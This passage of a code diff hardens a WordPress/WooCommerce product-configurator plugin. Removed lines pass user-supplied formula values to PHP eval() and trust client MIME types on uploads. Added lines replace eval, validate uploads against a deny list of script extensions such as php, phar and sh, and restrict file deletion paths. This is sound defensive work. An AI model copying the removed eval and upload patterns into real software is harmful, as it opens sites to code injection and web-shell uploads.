+								$addon_price = staggs_safe_eval( $sub_eval );

 								$filled_formula = str_replace( $field_key . '_value', $post_option['value'], $filled_formula );
 								$filled_formula = str_replace( $field_key . '_price', $unit_price, $filled_formula );
@@ -1915,8 +1987,8 @@
 						} else if ( isset( $selected_option['price_type'] ) && 'table' === $selected_option['price_type'] && function_exists( 'get_price_from_range_table' ) ) {
 							// Table price
 							$found_price = get_price_from_range_table( $selected_option['price_table'], $post_option['value'] );
-							$sub_eval    = 'return (' . $post_option['value'] . ' * ' . $found_price . ');';
-							$addon_price = eval( $sub_eval );
+							$sub_eval    = (float) $post_option['value'] * (float) $found_price;
+							$addon_price = staggs_safe_eval( $sub_eval );

 							$filled_formula = str_replace( $field_key, $addon_price, $filled_formula );
 						} else {
@@ -1945,7 +2017,7 @@
 					$formulas[ $selected_group_label ]['formula'] = str_replace( ' ', '', $filled_formula );

 					if ( ! preg_match( "/([a-zA-Z]+-*_*)+/", $filled_formula ) ) {
-						$group_price = eval( 'return (' . $filled_formula . ');' );
+						$group_price = staggs_safe_eval( $filled_formula );

 						if ( isset( $selected_group['price_formula_round'] ) && '' !== $selected_group['price_formula_round'] ) {
 							$group_price = sgg_round_formula_price( $group_price, $selected_group['price_formula_round'] );
@@ -1984,7 +2056,7 @@
 						$price_formula = str_replace( 'quantity', $product_quantity, $price_formula );

 						if ( ! preg_match( "/([a-zA-Z]+-*_*)+/", $price_formula ) ) {
-							$option_price = eval( 'return (' . $price_formula . ');' );
+							$option_price = staggs_safe_eval( $price_formula );
 							$addon_price = $option_price;
 						} else {
 							$addon_price = 0;
@@ -2043,8 +2115,8 @@
 							if ( $unit_price_base_min && isset( $post_option['min'] ) ) {
 								$post_value = $post_option['value'] - $post_option['min'];
 							}
-							$sub_eval    = 'return (' . $post_value . ' * ' . $unit_price . ');';
-							$addon_price = eval( $sub_eval );
+							$sub_eval    = (float) $post_value * (float) $unit_price;
+							$addon_price = staggs_safe_eval( $sub_eval );
 						}
 					} else if ( isset( $selected_option['price_type'] ) && 'table' === $selected_option['price_type'] && function_exists( 'get_price_from_range_table' ) ) {

@@ -2199,7 +2271,7 @@
 				$filled_formula = str_replace( 'quantity', $product_quantity, $filled_formula );

 				if ( ! preg_match( "/([a-zA-Z]+-*_*)+/", $filled_formula ) ) {
-					$option_price = eval( 'return (' . $filled_formula . ');' );
+					$option_price = staggs_safe_eval( $filled_formula );

 					if ( isset( $formula_result['round'] ) && $formula_result['round'] ) {
 						$option_price = sgg_round_formula_price( $option_price, $formula_result['round'] );
@@ -2273,7 +2345,7 @@

 			$calculated_total = 0;
 			if ( ! preg_match( "/([a-zA-Z]+-*_*)+/", $total_formula ) ) {
-				$calculated_total = eval( 'return (' . $total_formula . ');' );
+				$calculated_total = staggs_safe_eval( $total_formula );
 			} else {
 				preg_match_all( "/([a-zA-Z]+-*_*)+/", $total_formula, $matches );

@@ -2283,7 +2355,7 @@
     					$total_formula = preg_replace($search, '0', $total_formula);
 					}

-					$calculated_total = eval( 'return (' . $total_formula . ');' );
+					$calculated_total = staggs_safe_eval( $total_formula );
 				}
 			}

@@ -2558,48 +2630,54 @@
 	function staggs_get_configuration_form_urls_ajax() {
 		$response = array();

-		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'sgg_ajax_nonce' ) ) {
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'sgg_ajax_nonce' ) ) {
 			echo json_encode( $response );
 			die();
 		}

 		if ( isset( $_POST['contents'] ) ) {
-			$new_contents = json_decode(str_replace('\', '', $_POST['contents']));
-
-			$upload_dir = wp_get_upload_dir();
-			$base_dir   = $upload_dir['basedir'];
-			$save_path  = $base_dir . '/staggs';
-			if ( ! file_exists( $save_path ) ) {
-				staggs_mkdir( $save_path );
-			}
+			$raw          = wp_unslash( $_POST['contents'] );
+			$new_contents = ( is_string( $raw ) && strlen( $raw ) <= (int) apply_filters( 'staggs_max_configuration_size', 16 * MB_IN_BYTES ) ) ? json_decode( $raw ) : null;

-			$config_name = substr(md5(openssl_random_pseudo_bytes(20)), -32);
-			$config_file = trailingslashit( $save_path ) . $config_name . '.json';
+			if ( null !== $new_contents ) {
+				$save_path   = staggs_get_storage_dir();
+				$config_name = bin2hex( random_bytes( 16 ) );
+				$config_file = trailingslashit( $save_path ) . $config_name . '.json';

-			// Create/override file
-			staggs_write_file( $config_file, json_encode($new_contents, JSON_PRETTY_PRINT) );
+				staggs_write_file( $config_file, wp_json_encode( $new_contents, JSON_PRETTY_PRINT ) );

-			$response['url'] = $config_name;
+				$response['url'] = $config_name;
+			}
 		}

-		if ( isset( $_POST['image_id'] ) ) {
-			$image_name = staggs_sanitize_title( get_the_title( $_POST['image_id'] ) ); // image name based on product title.
-			$image_url  = store_final_product_image( $image_name, $_POST['image'], $_POST['values'], true );
+		$posted_values = isset( $_POST['values'] ) && is_array( $_POST['values'] ) ? wp_unslash( $_POST['values'] ) : array();
+		$posted_image  = isset( $_POST['image'] ) && is_string( $_POST['image'] ) ? wp_unslash( $_POST['image'] ) : '';
+
+		if ( isset( $_POST['image_id'] ) && '' !== $posted_image ) {
+			$image_id   = absint( $_POST['image_id'] );
+			$image_name = staggs_sanitize_title( get_the_title( $image_id ) ); // image name based on product title.
+			$image_url  = store_final_product_image( $image_name, $posted_image, $posted_values, true );

 			$response['image_url'] = $image_url;
 		}

-		if ( isset( $_POST['pdf'] ) && class_exists('Staggs_PDF') ) {
-			$pdf_data = $_POST['pdf'];
-			$pdf_data['configuration'] = $_POST['values'];
-			$pdf_data['product_image'] = $_POST['image'];
+		if ( isset( $_POST['pdf'] ) && is_array( $_POST['pdf'] ) && class_exists('Staggs_PDF') ) {
+			$sgg_pdf  = new Staggs_PDF();
+			$pdf_data = $sgg_pdf->sanitize_pdf_data( wp_unslash( $_POST['pdf'] ) );
+			$pdf_data['product_id']    = isset( $pdf_data['product_id'] ) ? absint( $pdf_data['product_id'] ) : 0;
+			$pdf_data['configuration'] = $posted_values;
+			$pdf_data['product_image'] = $posted_image;
+
+			if ( ! $sgg_pdf->is_valid_pdf_product( $pdf_data['product_id'] ) || ! $sgg_pdf->pdf_rate_limit_ok() ) {
+				echo json_encode( $response );
+				die();
+			}

 			if ( isset( $response['url'] ) ) {
 				// Include same generated link in PDF.
 				$pdf_data['link'] = $response['url'];
 			}

-			$sgg_pdf = new Staggs_PDF();
 			$pdf_url = $sgg_pdf->generate_pdf_file_url( $pdf_data['product_id'], $pdf_data, md5( microtime() ) );

 			$response['pdf_url'] = $pdf_url;
@@ -2653,21 +2731,24 @@
 			return;
 		}

+		// Validate the real content: the decoded bytes must be an actual image of the declared type.
+		$image_info = is_string( $data ) && '' !== $data ? @getimagesizefromstring( $data ) : false;
+		$real_types = array( IMAGETYPE_PNG => 'png', IMAGETYPE_JPEG => 'jpg', IMAGETYPE_GIF => 'gif' );
+		if ( ! $image_info || ! isset( $real_types[ $image_info[2] ] ) ) {
+			return;
+		}
+		$type = $real_types[ $image_info[2] ];
+
 		/**
 		 * Store image
 		 */
 		$upload_dir = wp_get_upload_dir();
-		$base_dir   = $upload_dir['basedir'];
 		$base_url   = $upload_dir['baseurl'];

 		// Allow different location.
-		$save_path  = apply_filters( 'staggs_image_save_dir', $base_dir . '/staggs' );
+		$save_path  = staggs_get_storage_dir();
 		$save_url   = apply_filters( 'staggs_image_save_url', $base_url . '/staggs' );

-        if ( ! file_exists( $save_path ) ) {
-            staggs_mkdir( $save_path );
-		}
-
 		$imagename = str_replace( '-' . $type, '', sanitize_title($imagename) );
 		if ( $main_image ) {
 			// Main product image.
@@ -2685,13 +2766,147 @@
 			}
 		}

-		// Always override in case something went wrong earlier
-		staggs_write_file( $save_path . "/{$filename}", $data );
+		// Only (re)write when the file is missing or incomplete. Filenames are deterministic,
+		// so rewriting identical data on every cart/quote render is wasted disk I/O.
+		$file_path = $save_path . "/{$filename}";
+		if ( ! file_exists( $file_path ) || filesize( $file_path ) !== strlen( $data ) ) {
+			staggs_write_file( $file_path, $data );
+		}

 		return $save_url . "/{$filename}";
 	}
 }

+if ( ! function_exists( 'staggs_is_base64_image_string' ) ) {
+	/**
+	 * Is the given value an inline base64 image, optionally prefixed with a file name ("name|data:image/..;base64,...")?
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_is_base64_image_string( $value ) {
+		return is_string( $value ) && false !== strpos( $value, ';base64,' ) && (bool) preg_match( '/(^||)data:image/[w.+-]+;base64,/', $value );
+	}
+}
+
+if ( ! function_exists( 'staggs_is_stored_file_value' ) ) {
+	/**
+	 * Is the given value a reference to a file we stored on disk ("name|https://.../uploads/staggs/file.png")?
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_is_stored_file_value( $value ) {
+		if ( ! is_string( $value ) ) {
+			return false;
+		}
+
+		return false !== strpos( $value, 'uploads/staggs' ) || (bool) preg_match( '/^[^|]+|https?:///i', $value );
+	}
+}
+
+if ( ! function_exists( 'staggs_externalize_base64_data' ) ) {
+	/**
+	 * Replace inline base64 images (anywhere in a string/array structure) with files on disk.
+	 *
+	 * Base64 payloads are huge. Keeping them in the cart session, in order item meta or in
+	 * serialized option rows bloats the database. Each image is written once to uploads/staggs
+	 * (content-hash filename, so repeated calls never create duplicates) and replaced by its URL.
+	 * "name|data:image/..." values become "name|url" so existing consumers keep working.
+	 *
+	 * @param mixed  $data       String or (nested) array.
+	 * @param string $image_name Base file name used for stored images.
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_externalize_base64_data( $data, $image_name = 'upload' ) {
+		if ( is_array( $data ) ) {
+			foreach ( $data as $key => $value ) {
+				$data[ $key ] = staggs_externalize_base64_data( $value, $image_name );
+			}
+
+			return $data;
+		}
+
+		if ( ! staggs_is_base64_image_string( $data ) ) {
+			return $data;
+		}
+
+		$name    = '';
+		$payload = $data;
+		if ( 0 !== strpos( $data, 'data:' ) ) {
+			$parts   = explode( '|', $data, 2 );
+			$name    = $parts[0];
+			$payload = isset( $parts[1] ) ? $parts[1] : '';
+		}
+
+		try {
+			$url = store_final_product_image(
+				'' !== $name ? $name : $image_name,
+				$payload,
+				array( 'content' => md5( $payload ) ), // deterministic file name based on content.
+				false
+			);
+		} catch ( Exception $e ) {
+			$url = '';
+		}
+
+		if ( ! $url ) {
+			return $data; // Could not store. Leave untouched rather than lose the value.
+		}
+
+		return '' !== $name ? $name . '|' . $url : $url;
+	}
+}
+
+if ( ! function_exists( 'staggs_product_parts_to_options' ) ) {
+	/**
+	 * Convert stored cart "product_parts" (underscore keys, file urls split off) back to the
+	 * option format the configurator, PDF generator and shared configuration links use.
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_product_parts_to_options( $parts ) {
+		$options = array();
+		if ( ! is_array( $parts ) ) {
+			return $options;
+		}
+
+		$map = array(
+			'_id'       => 'id',
+			'_step_id'  => 'step_id',
+			'_price'    => 'price',
+			'_sku'      => 'sku',
+			'_step_sku' => 'step_sku',
+		);
+
+		foreach ( $parts as $part ) {
+			if ( ! is_array( $part ) ) {
+				continue;
+			}
+
+			$option = array();
+			foreach ( $part as $key => $value ) {
+				if ( 'value_url' === $key ) {
+					continue;
+				}
+
+				if ( 'value' === $key && is_array( $value ) ) {
+					$value = staggs_product_parts_to_options( $value );
+				}
+
+				$option[ isset( $map[ $key ] ) ? $map[ $key ] : $key ] = $value;
+			}
+
+			if ( ! empty( $part['value_url'] ) && isset( $option['value'] ) && is_string( $option['value'] ) && false === strpos( $option['value'], '|' ) ) {
+				$option['value'] = $option['value'] . '|' . $part['value_url'];
+			}
+
+			$options[] = $option;
+		}
+
+		return $options;
+	}
+}
+
 if ( ! function_exists( 'store_final_product_file' ) ) {
 	/**
 	 * Store final product file for later access
@@ -2710,41 +2925,40 @@
 		 * Start file upload
 		 */
 		$fileTmpPath = $file['tmp_name'];
-		$imagename = $file['name'];
-		$fileSize = $file['size'];
-		$fileType = $file['type'];
-
-        $allowedFileTypes = wp_get_mime_types();
-        $maxFileSize = wp_max_upload_size();
+		$fileSize    = (int) $file['size'];
+		$maxFileSize = wp_max_upload_size();

-        // Validate file type
-        if (!in_array($fileType, $allowedFileTypes)) {
-            return array(
-				'error' => __( 'Invalid file type', 'staggs' ),
+		// Validate file size
+		if ( $fileSize > $maxFileSize ) {
+			return array(
+				'error' => __( 'File size exceeds the maximum allowed size', 'staggs' ),
 				'path' => false
 			);
-        }
+		}

-        // Validate file size
-        if ($fileSize > $maxFileSize) {
-            return array(
-				'error' => __( 'File size exceeds the maximum allowed size', 'staggs' ),
+		// Validate the real file type based on name and content, never on the client supplied MIME type.
+		$imagename = sanitize_file_name( wp_basename( $file['name'] ) );
+		$allowed   = apply_filters( 'staggs_allowed_upload_mimes', get_allowed_mime_types() );
+		$checked   = wp_check_filetype_and_ext( $fileTmpPath, $imagename, $allowed );
+
+		$blocked_ext = array( 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phar', 'pht', 'phps', 'html', 'htm', 'js', 'svg', 'xml', 'htaccess', 'cgi', 'pl', 'py', 'sh', 'asp', 'aspx', 'jsp', 'exe' );
+		$fileExtension = strtolower( (string) $checked['ext'] );
+
+		if ( ! $checked['ext'] || ! $checked['type'] || in_array( $fileExtension, $blocked_ext, true ) ) {
+			return array(
+				'error' => __( 'Invalid file type', 'staggs' ),
 				'path' => false
 			);
-        }
+		}

-        $fileNameParts = pathinfo($imagename);
-        $fileExtension = $fileNameParts['extension'];
+		// Make sure the stored name carries the validated extension.
+		$imagename = pathinfo( $imagename, PATHINFO_FILENAME );
+		$imagename = ( '' !== $imagename ? $imagename : 'upload' ) . '.' . $fileExtension;

-		$upload_dir = wp_get_upload_dir();
-		$base_dir   = $upload_dir['basedir'];
-		$save_path  = apply_filters( 'staggs_image_save_dir', $base_dir . '/staggs' );
-        if ( ! file_exists( $save_path ) ) {
-            staggs_mkdir( $save_path );
-		}
+		$save_path = staggs_get_storage_dir();

 		if ( is_array( $options ) && count( $options ) > 0 ) {
-			$filename = $imagename . '-' . md5( wp_json_encode( $options ) ) . '.' . $fileExtension;
+			$filename = pathinfo( $imagename, PATHINFO_FILENAME ) . '-' . md5( wp_json_encode( $options ) ) . '.' . $fileExtension;
 		} else {
 			$filename = wp_unique_filename( $save_path, $imagename );
 		}
@@ -2788,8 +3002,12 @@

 if ( ! function_exists( 'sgg_ajax_process_uploaded_file' ) ) {
 	function sgg_ajax_process_uploaded_file() {
-		$image_name = sanitize_text_field( $_POST['name'] );
-		$image_data = sanitize_text_field( $_POST['image'] );
+		$image_name = isset( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
+		$image_data = isset( $_POST['image'] ) ? sanitize_text_field( wp_unslash( $_POST['image'] ) ) : '';
+
+		if ( '' === $image_name || '' === $image_data || strlen( $image_data ) > (int) apply_filters( 'staggs_max_upload_data_size', 32 * MB_IN_BYTES ) ) {
+			wp_die( '', '', array( 'response' => 400 ) );
+		}

 		echo esc_url( store_final_product_image( $image_name, $image_data, array(), false ) );
 		die();
@@ -2816,7 +3034,7 @@

 		$theme_id = staggs_get_post_meta( $theme_product_id, 'sgg_product_configurator_theme_id' );
 		if ( $theme_id ) {
-			set_transient( 'sgg_product_configurator_theme_id_' . $theme_product_id, $theme_id );
+			set_transient( 'sgg_product_configurator_theme_id_' . $theme_product_id, $theme_id, DAY_IN_SECONDS );
 			return $theme_id;
 		}

--- a/staggs/includes/woocommerce/class-staggs-cart.php
+++ b/staggs/includes/woocommerce/class-staggs-cart.php
@@ -293,24 +293,42 @@
 			return $cart_item_data;
 		}

-		$post_product_price = isset( $revised_post_array['product_price'] ) ? sanitize_text_field( $revised_post_array['product_price'] ) : 0;
-		$configurator_totals = get_configurator_cart_totals( $revised_post_array, $post_product_price, $product_id );
+		$image_name = sanitize_title( get_the_title( $product_id ) );

-		$cart_item_data['sgg_post_options'] = $revised_post_array;
+		// Move uploaded (base64) option images to disk first. This keeps the cart session,
+		// the "sgg_post_options" copy and the order meta free of huge base64 strings.
+		if ( isset( $revised_post_array['options'] ) ) {
+			$revised_post_array['options'] = staggs_externalize_base64_data( $revised_post_array['options'], $image_name );
+		}

-		// Set custom image
+		// Set custom (main) image. Stored once as a file, only the URL is kept.
 		if ( isset( $revised_post_array['product_image'] ) ) {
-			$image_name = sanitize_title( get_the_title( $product_id ) );
-
-			if ( strpos( $revised_post_array['product_image'], 'base64' ) ) {
-				$image_url = store_final_product_image( $image_name, $revised_post_array['product_image'], $revised_post_array['options'] );
+			if ( staggs_is_base64_image_string( $revised_post_array['product_image'] ) ) {
+				$image_url = store_final_product_image(
+					$image_name,
+					$revised_post_array['product_image'],
+					isset( $revised_post_array['options'] ) ? $revised_post_array['options'] : array()
+				);
 			} else {
 				$image_url = $revised_post_array['product_image'];
 			}

-			$cart_item_data['product_image'] = sanitize_url( $image_url );
+			$revised_post_array['product_image'] = $image_url ? sanitize_url( $image_url ) : '';
+			$cart_item_data['product_image']     = $revised_post_array['product_image'];
 		}

+		// Any other inline image the browser may have posted along.
+		foreach ( $revised_post_array as $post_key => $post_value ) {
+			if ( 'options' !== $post_key && 'product_image' !== $post_key ) {
+				$revised_post_array[ $post_key ] = staggs_externalize_base64_data( $post_value, $image_name );
+			}
+		}
+
+		$post_product_price = isset( $revised_post_array['product_price'] ) ? sanitize_text_field( $revised_post_array['product_price'] ) : 0;
+		$configurator_totals = get_configurator_cart_totals( $revised_post_array, $post_product_price, $product_id );
+
+		$cart_item_data['sgg_post_options'] = $revised_post_array;
+
 		// Set options array.
 		$esc_product_options = array();
 		$product_options     = isset( $configurator_totals['options'] ) ? filter_var_array( $configurator_totals['options'] ) : array();
@@ -405,7 +423,7 @@
 											$value[ $rep_key ][ sanitize_text_field( $sub_key ) ] = $image_name;
 											$value[ $rep_key ][ sanitize_text_field( $sub_key . '_url' ) ] = $image_url;

-										} else if ( 'value' == $sub_key && strpos( $sub_value, 'uploads/staggs' ) ) {
+										} else if ( 'value' == $sub_key && staggs_is_stored_file_value( $sub_value ) ) {

 											// image val.
 											$image_name = basename( $sub_value );
@@ -437,7 +455,7 @@
 							$filtered_option[ sanitize_text_field( $key ) ] = $image_name;
 							$filtered_option[ sanitize_text_field( $key . '_url' ) ] = $image_url;

-						} else if ( 'value' == $key && strpos( $value, 'uploads/staggs' ) ) {
+						} else if ( 'value' == $key && staggs_is_stored_file_value( $value ) ) {

 							// image val.
 							$image_name = basename( $value );
@@ -867,7 +885,11 @@
 		}

 		if ( isset( $cart_item['sgg_post_options'] ) ) {
-			$cart_meta['sgg_post_options'] = $cart_item['sgg_post_options'];
+			// Carts created before images were moved to disk may still hold base64 data. Never copy that into order meta.
+			$cart_meta['sgg_post_options'] = staggs_externalize_base64_data(
+				$cart_item['sgg_post_options'],
+				sanitize_title( get_the_title( $cart_item['product_id'] ) )
+			);
 		}

 		if ( isset( $cart_item['product_price'] ) ) {
@@ -875,8 +897,22 @@
 		}

 		if ( isset( $cart_item['product_image'] ) ) {
-			$cart_meta['product_image'] = $cart_item['product_image']; // save for reorder
-			$order_item->update_meta_data( '_product_thumbnail', $cart_item['product_image'] );
+			$product_image = $cart_item['product_image'];
+			if ( staggs_is_base64_image_string( $product_image ) ) {
+				// Old session data. Store as file, keep only the url.
+				$stored_image  = store_final_product_image(
+					sanitize_title( get_the_title( $cart_item['product_id'] ) ),
+					$product_image,
+					isset( $cart_meta['sgg_post_options']['options'] ) ? $cart_meta['sgg_post_options']['options'] : array()
+				);
+				$product_image = $stored_image ? sanitize_url( $stored_image ) : '';
+			}
+
+			$cart_meta['product_image'] = $product_image; // save for reorder
+			if ( isset( $cart_meta['sgg_post_options']['product_image'] ) ) {
+				$cart_meta['sgg_post_options']['product_image'] = $product_image;
+			}
+			$order_item->update_meta_data( '_product_thumbnail', $product_image );
 		}

 		if ( isset( $cart_item['product_sku'] ) ) {
@@ -904,65 +940,16 @@
 			return;
 		}

-		if ( function_exists( 'as_enqueue_async_action' ) ) {
-			// Action scheduler present. Abort.
+		if ( function_exists( 'as_enqueue_async_action' ) && has_action( 'sgg_create_pdfs_for_order' ) ) {
+			// PDFs are generated by the scheduled job instead. Abort.
 			return;
 		}

 		$order = wc_get_order( $order_id );
-		if ( class_exists( 'Staggs_PDF' ) ) {
+		if ( $order && class_exists( 'Staggs_PDF' ) ) {
+			// Create pdfs directly (same code path as the scheduled job).
 			$sgg_pdf = new Staggs_PDF();
-
-			foreach ( $order->get_items() as $order_item ) {
-				if ( $order_item->get_meta('_sgg_cart_meta') ) {
-					// collect pdf data
-					$meta = $order_item->get_meta('_sgg_cart_meta');
-					$pdf_data = array(
-						'configuration'  => $meta['product_parts'],
-						'product_id'    => $order_item->get_product_id(),
-						'product_image' => $meta['product_image'],
-						'product_price' => $meta['product_price'],
-						'cart_item_key' => $meta['cart_item_key'],
-					);
-
-					if ( staggs_get_theme_option( 'sgg_order_pdf_include_order_id' ) ) {
-						$pdf_data['order_id'] = $order->get_id();
-					}
-
-					if ( staggs_get_theme_option( 'sgg_order_pdf_include_customer_details' ) ) {
-						$pdf_data['customer_address'] = $order->get_formatted_billing_address();
-						$pdf_data['customer_email'] = $order->get_billing_email();
-						$pdf_data['customer_phone'] = $order->get_billing_phone();
-					}
-
-					if ( staggs_get_theme_option( 'sgg_pdf_include_online_link' ) ) {
-						$upload_dir = wp_get_upload_dir();
-						$base_dir   = $upload_dir['basedir'];
-						$save_path  = $base_dir . '/staggs';
-						if ( ! file_exists( $save_path ) ) {
-							staggs_mkdir( $save_path );
-						}
-
-						$config_name = $pdf_data['cart_item_key'];
-						$config_file = trailingslashit( $save_path ) . $config_name . '.json';
-
-						// Create/override file
-						staggs_write_file( $config_file, json_encode(array(
-							'values' => $pdf_data['configuration'],
-							'progress' => '',
-						), JSON_PRETTY_PRINT) );
-
-						$pdf_data['link'] = $config_name;
-					}
-
-					// Create pdf directly.
-					$pdf_url = $sgg_pdf->generate_pdf_file_url( $order_item->get_product_id(), $pdf_data, $pdf_data['cart_item_key'] );
-
-					$order_item->update_meta_data( '_staggs_pdf_url', $pdf_url );
-				}
-			}
-
-			$order->save();
+			$sgg_pdf->generate_order_pdfs( $order );
 		}
 	}

@@ -1224,22 +1211,107 @@
 	}

 	/**
-	 * Delete images if selected.
+	 * Queue the cleanup of generated product images as an asynchronous Action Scheduler action.
+	 *
+	 * @since    3.3.0
+	 */
+	public function create_as_image_cleanup_action( $order_id ) {
+		if ( ! $order_id || ! function_exists( 'as_enqueue_async_action' ) ) {
+			return; // Without Action Scheduler, images are removed on the thank you page (see below).
+		}
+
+		$order = wc_get_order( $order_id );
+		if ( ! $order ) {
+			return;
+		}
+
+		foreach ( $order->get_items() as $item ) {
+			if ( $item->get_meta( '_sgg_cart_meta' ) ) {
+				// Unique: never queue the same cleanup twice for one order.
+				as_enqueue_async_action( 'sgg_delete_order_images', array( 'order_id' => $order_id ), 'staggs', true );
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Delete order images. Runs from the Action Scheduler queue.
+	 *
+	 * Waits for the order PDFs first: they embed the product image, so deleting it earlier
+	 * would randomly leave scheduled PDFs without image.
+	 *
+	 * @since    3.3.0
+	 */
+	public function delete_order_images( $order_id ) {
+		$order = $order_id ? wc_get_order( $order_id ) : false;
+		if ( ! $order || 'yes' === $order->get_meta( '_configurator_images_deleted' ) ) {
+			return;
+		}
+
+		if ( class_exists( 'Staggs_PDF' ) && staggs_get_theme_option( 'sgg_order_save_pdf_attachment' ) ) {
+			$sgg_pdf = new Staggs_PDF();
+
+			if ( ! $sgg_pdf->is_order_pdf_ready( $order ) ) {
+				$attempts = (int) $order->get_meta( '_configurator_images_attempts' ) + 1;
+
+				if ( $attempts < 6 && function_exists( 'as_schedule_single_action' ) ) {
+					// PDFs are not finished yet. Check again in a few minutes.
+					$order->update_meta_data( '_configurator_images_attempts', $attempts );
+					$order->save_meta_data();
+
+					as_schedule_single_action( time() + ( 5 * MINUTE_IN_SECONDS ), 'sgg_delete_order_images', array( 'order_id' => $order_id ), 'staggs' );
+					return;
+				}
+				// PDF generation keeps failing. Don't keep the images forever.
+			}
+		}
+
+		$this->delete_order_item_images( $order );
+
+		$order->update_meta_data( '_configurator_images_deleted', 'yes' );
+		$order->save_meta_data();
+	}
+
+	/**
+	 * Delete images if selected. Fallback for sites without Action Scheduler.
 	 *
 	 * @since    1.3.1
 	 */
 	public function delete_images_on_thankyou_page( $order_id ) {
-		if ( ! $order_id ) {
-			return;
+		if ( ! $order_id || function_exists( 'as_enqueue_async_action' ) ) {
+			return; // Handled by the scheduled action.
 		}

-		// Get an instance of the WC_Order object
 		$order = wc_get_order( $order_id );
+		if ( ! $order || 'yes' === $order->get_meta( '_configurator_images_deleted' ) ) {
+			return;
+		}
+
+		$this->delete_order_item_images( $order );

-		// Loop through order items
-		foreach ( $order->get_items() as $item_id => $item ) {
-			// Get the product object
+		$order->update_meta_data( '_configurator_images_deleted', 'yes' );
+		$order->save_meta_data();
+	}
+
+	/**
+	 * Delete the generated product images of all configurator items of an order,
+	 * unless the product is set to store them.
+	 *
+	 * @since    3.3.0
+	 */
+	private function delete_order_item_images( $order ) {
+		$upload_dir = wp_get_upload_dir();
+		$base_url   = preg_replace( '#^https?:#i', '', $upload_dir['baseurl'] );
+		$save_dir   = realpath( $upload_dir['basedir'] . '/staggs' );
+		if ( ! $save_dir ) {
+			return;
+		}
+
+		foreach ( $order->get_items() as $item ) {
 			$product = $item->get_product();
+			if ( ! $product ) {
+				continue;
+			}

 			// Image thumbnail settings.
 			$store_images = staggs_get_post_meta( staggs_get_theme_id( $product->get_id() ), 'sgg_configurator_store_cart_image' );
@@ -1248,8 +1320,19 @@
 			}

 			// No storage. Get image and delete it.
-			if ( $image_url = $item->get_meta( '_product_thumbnail' ) ) {
-				$image_path = str_replace( trailingslashit( get_site_url() ), ABSPATH, $image_url );
+			$image_url = $item->get_meta( '_product_thumbnail' );
+			if ( ! $image_url ) {
+				continue;
+			}
+
+			$image_url = preg_replace( '#^https?:#i', '', strtok( $image_url, '?' ) );
+			if ( 0 !== strpos( $image_url, $base_url ) ) {
+				continue;
+			}
+
+			// Only ever remove files from our own folder (never e.g. a media library image).
+			$image_path = realpath( $upload_dir['basedir'] . substr( $image_url, strlen( $base_url ) ) );
+			if ( $image_path && 0 === strpos( $image_path, $save_dir . DIRECTORY_SEPARATOR ) ) {
 				staggs_delete_product_image( $image_path );
 			}
 		}
--- a/staggs/includes/woocommerce/class-staggs-woocommerce.php
+++ b/staggs/includes/woocommerce/class-staggs-woocommerce.php
@@ -450,7 +450,7 @@
 			 * Optionally display WooCommerce product templates.
 			 */

-			if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+			if ( staggs_is_woocommerce_active() ) {
 				if ( ! staggs_get_post_meta( $theme_id, 'sgg_configurator_disable_product_price' )
 					|| 0 == staggs_get_post_meta( $theme_id, 'sgg_configurator_disable_product_price' ) ) {
 					add_action( 'staggs_single_product_summary', 'woocommerce_template_single_price', 20 );
@@ -464,7 +464,7 @@
 				}
 			}

-			if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+			if ( staggs_is_woocommerce_active() ) {
 				if ( ! staggs_get_post_meta( $theme_id, 'sgg_configurator_disable_product_title' )
 					|| 0 == staggs_get_post_meta( $theme_id, 'sgg_configurator_disable_product_title' ) ) {
 					add_action( 'staggs_single_product_summary', 'woocommerce_template_single_title', 10 );
@@ -735,7 +735,7 @@
 			return $tabs; // Classic view, no need to modify tabs output.
 		}

-		set_transient( 'staggs_product_tabs', $tabs );
+		set_transient( 'staggs_product_tabs', $tabs, DAY_IN_SECONDS );

 		return array(); // Clear tabs.
 	}
--- a/staggs/public/class-staggs-public.php
+++ b/staggs/public/class-staggs-public.php
@@ -88,7 +88,7 @@
 	 * @since    1.7.0
 	 */
 	public function add_scripts_to_head() {
-		if ( ( is_plugin_active( 'woocommerce/woocommerce.php' ) && is_product() && product_is_configurable( get_the_ID() ) ) || is_singular( 'sgg_product' ) ) {
+		if ( ( staggs_is_woocommerce_active() && is_product() && product_is_configurable( get_the_ID() ) ) || is_singular( 'sgg_product' ) ) {
 			$this->output_scripts();
 		}
 	}
@@ -182,7 +182,7 @@
 			$original_post_id = get_the_ID();

 			$post_type = get_post_type( $atts['product_id'] );
-			if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+			if ( staggs_is_woocommerce_active() ) {
 				$post_type = 'product'; // Force product types when WooCommerce is active.
 			}

@@ -196,7 +196,7 @@
 				while ( $product_query->have_posts() ) {
 					$product_query->the_post();

-					if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+					if ( staggs_is_woocommerce_active() ) {
 						global $product;
 						$product = wc_get_product( get_the_ID() );
 					}
@@ -349,7 +349,7 @@
 		if ( isset( $atts['product_id'] ) ) {

 			$post_type = get_post_type( $atts['product_id'] );
-			if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+			if ( staggs_is_woocommerce_active() ) {
 				$post_type = 'product'; // Force product types when WooCommerce is active.
 			}

@@ -363,7 +363,7 @@
 				while ( $product_query->have_posts() ) {
 					$product_query->the_post();

-					if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+					if ( staggs_is_woocommerce_active() ) {
 						global $product;
 						$product = wc_get_product( get_the_ID() );
 					}
@@ -425,7 +425,7 @@
 			$original_post_id = get_the_ID();

 			$post_type = get_post_type( $atts['product_id'] );
-			if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+			if ( staggs_is_woocommerce_active() ) {
 				$post_type = 'product'; // Force product types when WooCommerce is active.
 			}

@@ -439,7 +439,7 @@
